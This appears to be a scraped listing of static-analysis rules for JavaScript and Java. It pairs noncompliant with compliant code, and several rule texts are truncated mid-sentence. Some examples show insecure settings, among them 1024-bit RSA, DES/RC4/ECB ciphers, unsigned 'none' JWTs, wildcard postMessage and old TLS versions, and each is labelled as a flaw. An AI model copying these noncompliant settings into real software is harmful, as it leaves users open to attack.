This rule will not raise issues for ciphers that are considered weak (no matter the key size) like Noncompliant Code Examplecrypto built-in module: var { privateKey, publicKey } = crypto.generateKeyPairSync('rsa', { modulusLength: 1024, // Noncompliant publicKeyEncoding: { type: 'spki', format: 'pem' }, privateKeyEncoding: { type: 'pkcs8', format: 'pem' } }); // Noncompliant: 1024 bits is too short for a RSA key pair crypto.generateKeyPair('ec', { namedCurve: 'secp112r2', publicKeyEncoding: { type: 'spki', format: 'pem' }, privateKeyEncoding: { type: 'pkcs8', format: 'pem' } }, callback); // Noncompliant: secp112r2 curve doesn't provide enough security Compliant Solutioncrypto built-in module: crypto.generateKeyPair('rsa', { modulusLength: 2048, // Compliant publicKeyEncoding: { type: 'spki', format: 'pem' }, privateKeyEncoding: { type: 'pkcs8', format: 'pem' } }, callback); // Compliant crypto.generateKeyPair('ec', { namedCurve: 'secp224k1', publicKeyEncoding: { type: 'spki', format: 'pem' }, privateKeyEncoding: { type: 'pkcs8', format: 'pem' } }, callback); // compliant See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
javascript:S2245 |
Using pseudorandom number generators (PRNGs) is security-sensitive. For example, it has led in the past to the following vulnerabilities: When software generates predictable values in a context requiring unpredictability, it may be possible for an attacker to guess the next value that will be generated, and use this guess to impersonate another user or access sensitive information. As the Ask Yourself Whether
There is a risk if you answered yes to any of those questions. Recommended Secure Coding Practices
Sensitive Code Exampleconst val = Math.random(); // Sensitive // Check if val is used in a security context. Compliant Solution// === Client side === const crypto = window.crypto || window.msCrypto; var array = new Uint32Array(1); crypto.getRandomValues(array); // Compliant for security-sensitive use cases // === Server side === const crypto = require('crypto'); const buf = crypto.randomBytes(1); // Compliant for security-sensitive use cases See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
javascript:S3579 |
Associative arrays allow you to store values in an array with either numeric or named indexes. But creating and populating an object is just as easy as an array, and more reliable if you need named members. Noncompliant Code Examplelet arr = []; arr[0] = 'a'; arr['name'] = 'bob'; // Noncompliant arr[1] = 'foo'; Compliant Solutionlet obj = { name: 'bob', arr: ['a', 'foo'] }; |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
javascript:S4423 |
Older versions of SSL/TLS protocol like "SSLv3" have been proven to be insecure. This rule raises an issue when an SSL/TLS context is created with an insecure protocol version (ie: a protocol different from "TLSv1.2", "TLSv1.3", "DTLSv1.2" or "DTLSv1.3"). Noncompliant Code Example
let options = { secureProtocol: 'TLSv1_method' // Noncompliant: TLS1.0 is insecure }; let options = { minVersion: 'TLSv1.1', // Noncompliant: TLS1.1 is insecure maxVersion: 'TLSv1.2' }; let options = { secureOptions: constants.SSL_OP_NO_SSLv2 | constants.SSL_OP_NO_SSLv3 | constants.SSL_OP_NO_TLSv1 }; // Noncompliant TLS 1.1 (constants.SSL_OP_NO_TLSv1_1) is not disabled https built-in module: let req = https.request(options, (res) => { res.on('data', (d) => { process.stdout.write(d); }); }); // Noncompliant tls built-in module: let socket = tls.connect(443, "www.example.com", options, () => { }); // Noncompliant request module: let socket = request.get(options); Compliant SolutionSet either let options = { secureProtocol: 'TLSv1_2_method' }; // or let options = { secureOptions: constants.SSL_OP_NO_SSLv2 | constants.SSL_OP_NO_SSLv3 | constants.SSL_OP_NO_TLSv1 | constants.SSL_OP_NO_TLSv1_1 }; // or let options = { minVersion: 'TLSv1.2' }; https built-in module: let req = https.request(options, (res) => { res.on('data', (d) => { process.stdout.write(d); }); }); // Compliant tls built-in module: let socket = tls.connect(443, "www.example.com", options, () => { }); request module: let socket = request.get(options); See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
javascript:S4787 |
Encrypting data is security-sensitive. It has led in the past to the following vulnerabilities: Proper encryption requires both the encryption algorithm and the key to be strong. Obviously the private key needs to remain secret and be renewed regularly. However these are not the only means to defeat or weaken an encryption.
This rule flags function calls that initiate encryption/decryption. Ask Yourself Whether
You are at risk if you answered yes to any of those questions. Recommended Secure Coding Practices
Sensitive Code Example// === Client side === crypto.subtle.encrypt(algo, key, plainData); // Sensitive crypto.subtle.decrypt(algo, key, encData); // Sensitive // === Server side === const crypto = require("crypto"); const cipher = crypto.createCipher(algo, key); // Sensitive const cipheriv = crypto.createCipheriv(algo, key, iv); // Sensitive const decipher = crypto.createDecipher(algo, key); // Sensitive const decipheriv = crypto.createDecipheriv(algo, key, iv); // Sensitive const pubEnc = crypto.publicEncrypt(key, buf); // Sensitive const privDec = crypto.privateDecrypt({ key: key, passphrase: secret }, pubEnc); // Sensitive const privEnc = crypto.privateEncrypt({ key: key, passphrase: secret }, buf); // Sensitive const pubDec = crypto.publicDecrypt(key, privEnc); // Sensitive See
DeprecatedThis rule is deprecated; use S4426 instead. |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
javascript:S3699 |
If a function does not return anything, it makes no sense to use its output. Specifically, passing it to another function, or assigning its
"result" to a variable is probably a bug because such functions return Noncompliant Code Examplefunction foo() { console.log("Hello, World!"); } a = foo(); Compliant Solutionfunction foo() { console.log("Hello, World!"); } foo(); |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
javascript:S2392 |
Variables that are declared inside a block but used outside of it (which is possible with a Noncompliant Code Examplefunction doSomething(a, b) { if (a > b) { var x = a - b; // Noncompliant } if (a > 4) { console.log(x); } for (var i = 0; i < m; i++) { // Noncompliant, both loops use same variable } for (var i = 0; i < n; i++) { } return a + b; } Compliant Solutionfunction doSomething(a, b) { var x; if (a > b) { x = a - b; } if (a > 4) { console.log(x); } for (let i = 0; i < m; i++) { } for (let i = 0; i < n; i++) { } return a + b; } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
javascript:S3801 |
Unlike strongly typed languages, JavaScript does not enforce a return type on a function. This means that different paths through a function can return different types of values, which can be very confusing to the user and significantly harder to maintain. In particular a function, in JavaScript, will return
This rule verifies that return values are either always or never specified for each path through a function. Noncompliant Code Examplefunction foo(a) { // Noncompliant, function exits without "return" if (a == 1) { return true; } } Compliant Solutionfunction foo(a) { if (a == 1) { return true; } return false; } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
javascript:S3800 |
Unlike strongly typed languages, JavaScript does not enforce a return type on a function. This means that different paths through a function can return different types of values, which can be very confusing to the user and significantly harder to maintain. Noncompliant Code Examplefunction foo(a) { // Noncompliant if (a === 1) { return true; } return 3; } Compliant Solutionfunction foo(a) { if (a === 1) { return true; } return false; } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
javascript:S3923 |
Having all branches in a Noncompliant Code Exampleif (b == 0) { // Noncompliant doOneMoreThing(); } else { doOneMoreThing(); } let a = (b == 0) ? getValue() : getValue(); // Noncompliant switch (i) { // Noncompliant case 1: doSomething(); break; case 2: doSomething(); break; case 3: doSomething(); break; default: doSomething(); } ExceptionsThis rule does not apply to if(b == 0) { //no issue, this could have been done on purpose to make the code more readable doSomething(); } else if(b == 1) { doSomething(); } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
javascript:S3001 |
The semantics of the Noncompliant Code Examplevar x = 1; delete x; // Noncompliant function foo(){ .. } delete foo; // Noncompliant Compliant Solutionvar obj = { x:1, foo: function(){ ... } }; delete obj.x; delete obj.foo; |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
javascript:S1186 |
There are several reasons for a function not to have a function body:
Noncompliant Code Examplefunction foo() { } var foo = () => {}; Compliant Solutionfunction foo() { // This is intentional } var foo = () => { do_something(); }; |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
javascript:S1066 |
Merging collapsible Noncompliant Code Exampleif (x != undefined) { if (y === 2) { // ... } } Compliant Solutionif (x != undefined && y === 2) { // ... } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
javascript:S3003 |
The use of comparison operators ( Noncompliant Code Examplevar appleNumber = "123"; var orangeNumber = "45"; if (appleNumber < orangeNumber) { // Noncompliant, this condition is true alert("There are more oranges"); } Compliant Solutionvar appleNumber = "123"; var orangeNumber = "45"; if (Number(appleNumber) < Number(orangeNumber)) { alert("There are more oranges"); } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
javascript:S5542 |
To perform secure cryptography, operation modes and padding scheme are essentials and should be used correctly according to the encryption algorithm:
Noncompliant Code Examplecrypto built-in module: crypto.createCipheriv("AES-128-CBC", key, iv); // Noncompliant: CBC with PKCS5/7 (set by default) is vulnerable to oracle padding attacks crypto.createCipheriv("AES-128-ECB", key, ""); // Noncompliant: ECB doesn't provide serious message confidentiality Compliant Solutioncrypto built-in module: crypto.createCipheriv("AES-256-GCM", key, iv); See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
javascript:S1067 |
The complexity of an expression is defined by the number of A single expression's complexity should not become too high to keep the code readable. |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
javascript:S5547 |
Strong cipher algorithms are cryptographic systems resistant to cryptanalysis, they are not vulnerable to well-known attacks like brute force attacks for example. A general recommendation is to only use cipher algorithms intensively tested and promoted by the cryptographic community. More specifically for block cipher, it's not recommended to use algorithm with a block size inferior than 128 bits. Noncompliant Code Examplecrypto built-in module: crypto.createCipheriv("DES", key, iv); // Noncompliant: DES / 3DES is unsecure crypto.createCipheriv("DES-EDE", key, ""); // Noncompliant: DES / 3DES is unsecure crypto.createCipheriv("DES-EDE3", key, ""); // Noncompliant: DES / 3DES is unsecure crypto.createCipheriv("RC2", key, iv); // Noncompliant: RC2 is vulnerable to a related-key attack crypto.createCipheriv("RC4", key, "");// Noncompliant: RC4 is vulnerable to several attacks crypto.createCipheriv("BF", key, iv);// Noncompliant: Blowfish use a 64-bit block size makes it vulnerable to birthday attacks Compliant Solutioncrypto built-in module: crypto.createCipheriv("AES-256-GCM", key, iv); See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
javascript:S1862 |
A chain of Therefore, duplicating a condition automatically leads to dead code. Usually, this is due to a copy/paste error. At best, it's simply dead code and at worst, it's a bug that is likely to induce further bugs as the code is maintained, and obviously it could lead to unexpected behavior.
Note that this rule requires Node.js to be available during analysis. Noncompliant Code Exampleif (param == 1) openWindow(); else if (param == 2) closeWindow(); else if (param == 1) // Noncompliant moveWindowToTheBackground(); Compliant Solutionif (param == 1) openWindow(); else if (param == 2) closeWindow(); else if (param == 3) moveWindowToTheBackground(); See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
javascript:S2260 |
When the JavaScript parser fails, it is possible to record the failure as a violation on the file. This way, not only it is possible to track the number of files that do not parse but also to easily find out why they do not parse. |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
javascript:S1172 |
Unused parameters are misleading. Whatever the values passed to such parameters, the behavior will be the same. Noncompliant Code Examplefunction doSomething(a, b) { // "a" is unused return compute(b); } Compliant Solutionfunction doSomething(b) { return compute(b); } ExceptionsWhen writing function callbacks, some arguments might be required as part of the function signature, but not actually needed by the callback code. For instance, JQuery has the 'each' helper to iterate over arrays or objects, but using the counter 'i' should remain optional: $(["first", "last"]).each(function (i, value) { computeSomethingWithValue(value); }); So only unused arguments listed at the end of the argument list will be flagged with issues because they could be omitted from the function signature. Unused arguments which are followed by an argument that is used will be ignored. Examples : var myFirsCallBackFunction = function (p1, p2, p3, p4) { // p2 is ignored, but p4 is reported return p1 + p3; } var mySecondCallBackFunction = function (p1, p2, p3, p4) { // p1, p2 and p3 are ignored return p4; } var myThirdCallBackFunction = function (p1, p2, p3, p4) { // p1 is ignored but p3 and p4 are reported return p2; } Further, when function doSomething(a, b, c) { compute(arguments); } See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
javascript:S2819 |
Browsers allow message exchanges between Window objects of different origins. Because any window can send / receive messages from other window it is important to verify the sender's / receiver's identity:
Noncompliant Code ExampleWhen sending message: var iframe = document.getElementById("testiframe"); iframe.contentWindow.postMessage("secret", "*"); // Noncompliant: * is used When receiving message: window.addEventListener("message", function(event) { // Noncompliant: no checks are done on the origin property. console.log(event.data); }); Compliant SolutionWhen sending message: var iframe = document.getElementById("testsecureiframe"); iframe.contentWindow.postMessage("hello", "https://secure.example.com"); // Compliant When receiving message: window.addEventListener("message", function(event) { if (event.origin !== "http://example.org") // Compliant return; console.log(event.data) }); See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
javascript:S1854 |
A dead store happens when a local variable is assigned a value that is not read by any subsequent instruction. Calculating or retrieving a value only to then overwrite it or throw it away, could indicate a serious error in the code. Even if it's not an error, it is at best a waste of resources. Therefore all calculated values should be used. Noncompliant Code Examplei = a + b; // Noncompliant; calculation result not used before value is overwritten i = compute(); Compliant Solutioni = a + b; i += compute(); ExceptionsThis rule ignores initializations to -1, 0, 1, This rule also ignores variables declared with object destructuring using rest syntax (used to exclude some properties from object): let {a, b, ...rest} = obj; // 'a' and 'b' are ok doSomething(rest); let [x1, x2, x3] = arr; // but 'x1' is noncompliant, as omitting syntax can be used: "let [, x2, x3] = arr;" doSomething(x2, x3); See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
javascript:S5659 |
If a JSON Web Token (JWT) is not signed with a strong cipher algorithm (or not signed at all) an attacker can forge it and impersonate user identities.
Noncompliant Code Examplejsonwebtoken library: const jwt = require('jsonwebtoken'); let token = jwt.sign({ foo: 'bar' }, key, { algorithm: 'none' }); // Noncompliant: 'none' cipher doesn't sign the JWT (no signature will be included) jwt.verify(token, key, { expiresIn: 360000 * 5, algorithms: ['RS256', 'none'] }, callbackcheck); // Noncompliant: 'none' cipher should not be used when verifying JWT signature Compliant Solutionjsonwebtoken library: const jwt = require('jsonwebtoken'); let token = jwt.sign({ foo: 'bar' }, key, { algorithm: 'HS256' }); // Compliant jwt.verify(token, key, { expiresIn: 360000 * 5, algorithms: ['HS256'] }, callbackcheck); // Compliant See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
javascript:S2703 |
JavaScript variable scope can be particularly difficult to understand and get right. The situation gets even worse when you consider the
accidental creation of global variables, which is what happens when you declare a variable inside a function or the
Noncompliant Code Examplefunction f(){ i = 1; // Noncompliant; i is global for (j = 0; j < array.length; j++) { // Noncompliant; j is global now too // ... } } Compliant Solutionfunction f(){ var i = 1; for (let j = 0; j < array.length; j++) { // ... } } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
javascript:S3353 |
Marking a variable that is unchanged after initialization Noncompliant Code Examplefunction seek(input) { let target = 32; // Noncompliant for (let i of input) { if (i == target) { return true; } } return false; } function getUrl(query) { let url; // Noncompliant url = "http://example.com"; return url; } Compliant Solutionfunction seek(input) { const target = 32; for (let i of input) { if (i == target) { return true; } } return false; } function getUrl(query) { const url = "http://example.com"; return url; } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
javascript:S4326 |
An Noncompliant Code Exampleasync function foo() { // ... } async function bar() { // ... return await foo(); // Noncompliant } Compliant Solutionasync function foo() { // ... } async function bar() { // ... return foo(); } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
javascript:S3358 |
Just because you can do something, doesn't mean you should, and that's the case with nested ternary operations. Nesting ternary operators results in the kind of code that may seem clear as day when you write it, but six months later will leave maintainers (or worse - future you) scratching their heads and cursing. Instead, err on the side of clarity, and use another line to express the nested operation as a separate statement. Noncompliant Code Examplefunction getReadableStatus(job) { return job.isRunning() ? "Running" : job.hasErrors() ? "Failed" : "Succeeded "; // Noncompliant } Compliant Solutionfunction getReadableStatus(job) { if (job.isRunning()) { return "Running"; } return job.hasErrors() ? "Failed" : "Succeeded"; } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
javascript:S1481 |
If a local variable or a local function is declared but not used, it is dead code and should be removed. Doing so will improve maintainability because developers will not wonder what the variable or function is used for. Noncompliant Code Examplefunction numberOfMinutes(hours) { var seconds = 0; // seconds is never used return hours * 60; } Compliant Solutionfunction numberOfMinutes(hours) { return hours * 60; } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
javascript:S5728 |
Content security policy (CSP) (fetch directives) is a W3C standard which is used by a server to specify, via a http header, the origins from where the browser is allowed to load resources. It can help to mitigate the risk of cross site scripting (XSS) attacks and reduce privileges used by an application. If the website doesn't define CSP header the browser will apply same-origin policy by default. Content-Security-Policy: default-src 'self'; script-src ‘self ‘ http://www.example.com In the above example, all resources are allowed from the website where this header is set and script resources fetched from example.com are also authorized: <img src="selfhostedimage.png></script> <!-- will be loaded because default-src 'self'; directive is applied --> <img src="http://www.example.com/image.png></script> <!-- will NOT be loaded because default-src 'self'; directive is applied --> <script src="http://www.example.com/library.js></script> <!-- will be loaded because script-src ‘self ‘ http://www.example.comdirective is applied --> <script src="selfhostedscript.js></script> <!-- will be loaded because script-src ‘self ‘ http://www.example.com directive is applied --> <script src="http://www.otherexample.com/library.js></script> <!-- will NOT be loaded because script-src ‘self ‘ http://www.example.comdirective is applied --> Ask Yourself Whether
There is a risk if you answered yes to this question. Recommended Secure Coding PracticesImplement content security policy fetch directives, in particular default-src directive and continue to properly sanitize and validate all inputs of the application, indeed CSP fetch directives is only a tool to reduce the impact of cross site scripting attacks. Sensitive Code ExampleIn a Express.js application, the code is sensitive if the helmet contentSecurityPolicy middleware is disabled: const express = require('express'); const helmet = require('helmet'); let app = express(); app.use( helmet({ contentSecurityPolicy: false, // sensitive }) ); Compliant SolutionIn a Express.js application, a standard way to implement CSP is the helmet contentSecurityPolicy middleware: const express = require('express'); const helmet = require('helmet'); let app = express(); app.use(helmet.contentSecurityPolicy()); // Compliant See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
javascript:S1128 |
There's no reason to import modules you don't use; and every reason not to: doing so needlessly increases the load. Noncompliant Code Exampleimport A from 'a'; // Noncompliant, A isn't used import { B1 } from 'b'; console.log(B1); Compliant Solutionimport { B1 } from 'b'; console.log(B1); |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
javascript:S5725 |
Fetching external resources, for example from a CDN, without verifying their integrity could impact the security of an application if the CDN gets compromised and resources are replaced by malicious ones. Resources integrity feature will block resources inclusion into an application if the pre-computed digest of the expected resource doesn't match with the digest of the retrieved resource. Ask Yourself Whether
There is a risk if you answered yes to this question. Recommended Secure Coding Practices
Sensitive Code Examplelet script = document.createElement("script"); // Sensitive script.src = "https://cdnexample.com/script-latest.js"; script.crossOrigin = "anonymous"; document.head.appendChild(script); Compliant Solutionlet script = document.createElement("script"); script.src = "https://cdnexample.com/script-v1.2.3.js"; script.integrity = "sha384-oqVuAfXRKap7fdgcCY5uykM6+R9GqQ8K/uxy9rx7HNQlGYl1kPzQho1wx4JwY8wC"; // Compliant script.crossOrigin = "anonymous"; document.head.appendChild(script); See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
javascript:S5604 |
Powerful features are browser features (geolocation, camera, microphone ...) that can be accessed with JavaScript API and may require a permission granted by the user. These features can have a high impact on privacy and user security thus they should only be used if they are really necessary to implement the critical parts of an application. This rule highlights intrusive permissions when requested with the future standard (but currently experimental) web browser query API and specific APIs related to the permission. It is highly recommended to customize this rule with the permissions considered as intrusive in the context of the web application. Ask Yourself Whether
You are at risk if you answered yes to any of those questions. Recommended Secure Coding Practices
Sensitive Code ExampleWhen using geolocation API, Firefox for example retrieves personal information like nearby wireless access points and IP address and sends it to the default geolocation service provider, Google Location Services: navigator.permissions.query({name:"geolocation"}).then(function(result) { }); // Sensitive: geolocation is a powerful feature with high privacy concerns navigator.geolocation.getCurrentPosition(function(position) { console.log("coordinates x="+position.coords.latitude+" and y="+position.coords.longitude); }); // Sensitive: geolocation is a powerful feature with high privacy concerns Compliant SolutionIf geolocation is required, always explain to the user why the application needs it and prefer requesting an approximate location when possible: <html> <head> <title> Retailer website example </title> </head> <body> Type a city, street or zip code where you want to retrieve the closest retail locations of our products: <form method=post> <input type=text value="New York"> <!-- Compliant --> </form> </body> </html> See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
javascript:S3782 |
The types of the arguments to built-in functions are specified in the JavaScript language specifications. Calls to these functions should conform
to the documented types, otherwise the result will most likely not be what was expected (e.g.: the call would always return Noncompliant Code Exampleconst isTooSmall = Math.abs(x < 0.0042); Compliant Solutionconst isTooSmall = Math.abs(x) < 0.0042; |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
javascript:S2692 |
Most checks against an Noncompliant Code Examplevar color = "blue"; var name = "ishmael"; var number = 123; var arr = [color, name]; if (arr.indexOf("blue") > 0) { // Noncompliant // ... } if (name.indexOf("ish") > 0) { // Noncompliant // ... } Compliant Solutionvar color = "blue"; var name = "ishmael"; var number = 123; var arr = [color, name]; if (arr.indexOf("blue") >= 0) { // ... } if (name.includes("ish")) { // ... } See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
javascript:S4634 |
When a Noncompliant Code Examplelet fulfilledPromise = new Promise(resolve => resolve(42)); let rejectedPromise = new Promise(function(resolve, reject) { reject('fail'); }); Compliant Solutionlet fulfilledPromise = Promise.resolve(42); let rejectedPromise = Promise.reject('fail'); |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S1168 |
Returning Moreover, in many cases, Noncompliant Code Examplepublic static List<Result> getResults() { return null; // Noncompliant } public static Result[] getResults() { return null; // Noncompliant } public static void main(String[] args) { Result[] results = getResults(); if (results != null) { // Nullity test required to prevent NPE for (Result result: results) { /* ... */ } } } Compliant Solutionpublic static List<Result> getResults() { return Collections.emptyList(); // Compliant } public static Result[] getResults() { return new Result[0]; } public static void main(String[] args) { for (Result result: getResults()) { /* ... */ } } See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S2259 |
A reference to Note that when they are present, this rule takes advantage of Noncompliant Code Example@CheckForNull String getName(){...} public boolean isNameEmpty() { return getName().length() == 0; // Noncompliant; the result of getName() could be null, but isn't null-checked } Connection conn = null; Statement stmt = null; try{ conn = DriverManager.getConnection(DB_URL,USER,PASS); stmt = conn.createStatement(); // ... }catch(Exception e){ e.printStackTrace(); }finally{ stmt.close(); // Noncompliant; stmt could be null if an exception was thrown in the try{} block conn.close(); // Noncompliant; conn could be null if an exception was thrown } private void merge(@Nonnull Color firstColor, @Nonnull Color secondColor){...} public void append(@CheckForNull Color color) { merge(currentColor, color); // Noncompliant; color should be null-checked because merge(...) doesn't accept nullable parameters } void paint(Color color) { if(color == null) { System.out.println("Unable to apply color " + color.toString()); // Noncompliant; NullPointerException will be thrown return; } ... } See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S2258 |
By contract, the Noncompliant Code ExampleNullCipher nc = new NullCipher(); See
DeprecatedThis rule is deprecated; use S5547 instead. |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S4435 |
An XML External Entity or XSLT External Entity (XXE) vulnerability can occur when a This rule raises an issue when a Noncompliant Code ExampleTransformer transformer = TransformerFactory.newInstance().newTransformer(); transformer.transform(input, result); Compliant SolutionRecommended: TransformerFactory factory = TransformerFactory.newInstance(); factory.setAttribute(XMLConstants.ACCESS_EXTERNAL_DTD, ""); factory.setAttribute(XMLConstants.ACCESS_EXTERNAL_STYLESHEET, ""); Transformer transformer = factory.newTransformer(); transformer.transform(input, result); Implementation dependent: TransformerFactory factory = TransformerFactory.newInstance(); factory.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true); Transformer transformer = factory.newTransformer(); transformer.transform(input, result); See
DeprecatedThis rule is deprecated; use S2755 instead. |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S923 |
As stated per effective java :
Noncompliant Code Examplevoid fun ( String... strings ) // Noncompliant { // ... } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S1150 |
From the official Oracle Javadoc:
Noncompliant Code Examplepublic class MyClass implements Enumeration { // Non-Compliant /* ... */ } Compliant Solutionpublic class MyClass implements Iterator { // Compliant /* ... */ } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S1151 |
The Noncompliant Code ExampleWith the default threshold of 5: switch (myVariable) { case 0: // Noncompliant: 6 lines till next case methodCall1(""); methodCall2(""); methodCall3(""); methodCall4(""); break; case 1: ... } Compliant Solutionswitch (myVariable) { case 0: doSomething() break; case 1: ... } ... private void doSomething(){ methodCall1(""); methodCall2(""); methodCall3(""); methodCall4(""); } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S2129 |
Constructors for Noncompliant Code ExampleString empty = new String(); // Noncompliant; yields essentially "", so just use that. String nonempty = new String("Hello world"); // Noncompliant Double myDouble = new Double(1.1); // Noncompliant; use valueOf Integer integer = new Integer(1); // Noncompliant Boolean bool = new Boolean(true); // Noncompliant BigInteger bigInteger1 = new BigInteger("3"); // Noncompliant BigInteger bigInteger2 = new BigInteger("9223372036854775807"); // Noncompliant BigInteger bigInteger3 = new BigInteger("111222333444555666777888999"); // Compliant, greater than Long.MAX_VALUE Compliant SolutionString empty = ""; String nonempty = "Hello world"; Double myDouble = Double.valueOf(1.1); Integer integer = Integer.valueOf(1); Boolean bool = Boolean.valueOf(true); BigInteger bigInteger1 = BigInteger.valueOf(3); BigInteger bigInteger2 = BigInteger.valueOf(9223372036854775807L); BigInteger bigInteger3 = new BigInteger("111222333444555666777888999"); Exceptions
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S3331 |
A cookie's domain specifies which websites should be able to read it. Left blank, browsers are supposed to only send the cookie to sites that exactly match the sending domain. For example, if a cookie was set by lovely.dream.com, it should only be readable by that domain, and not by nightmare.com or even strange.dream.com. If you want to allow sub-domain access for a cookie, you can specify it by adding a dot in front of the cookie's domain, like so: .dream.com. But cookie domains should always use at least two levels. Cookie domains can be set either programmatically or via configuration. This rule raises an issue when any cookie domain is set with a single level, as in .com. Ask Yourself Whether
You are at risk if you answered yes to any of those questions. Recommended Secure Coding Practices
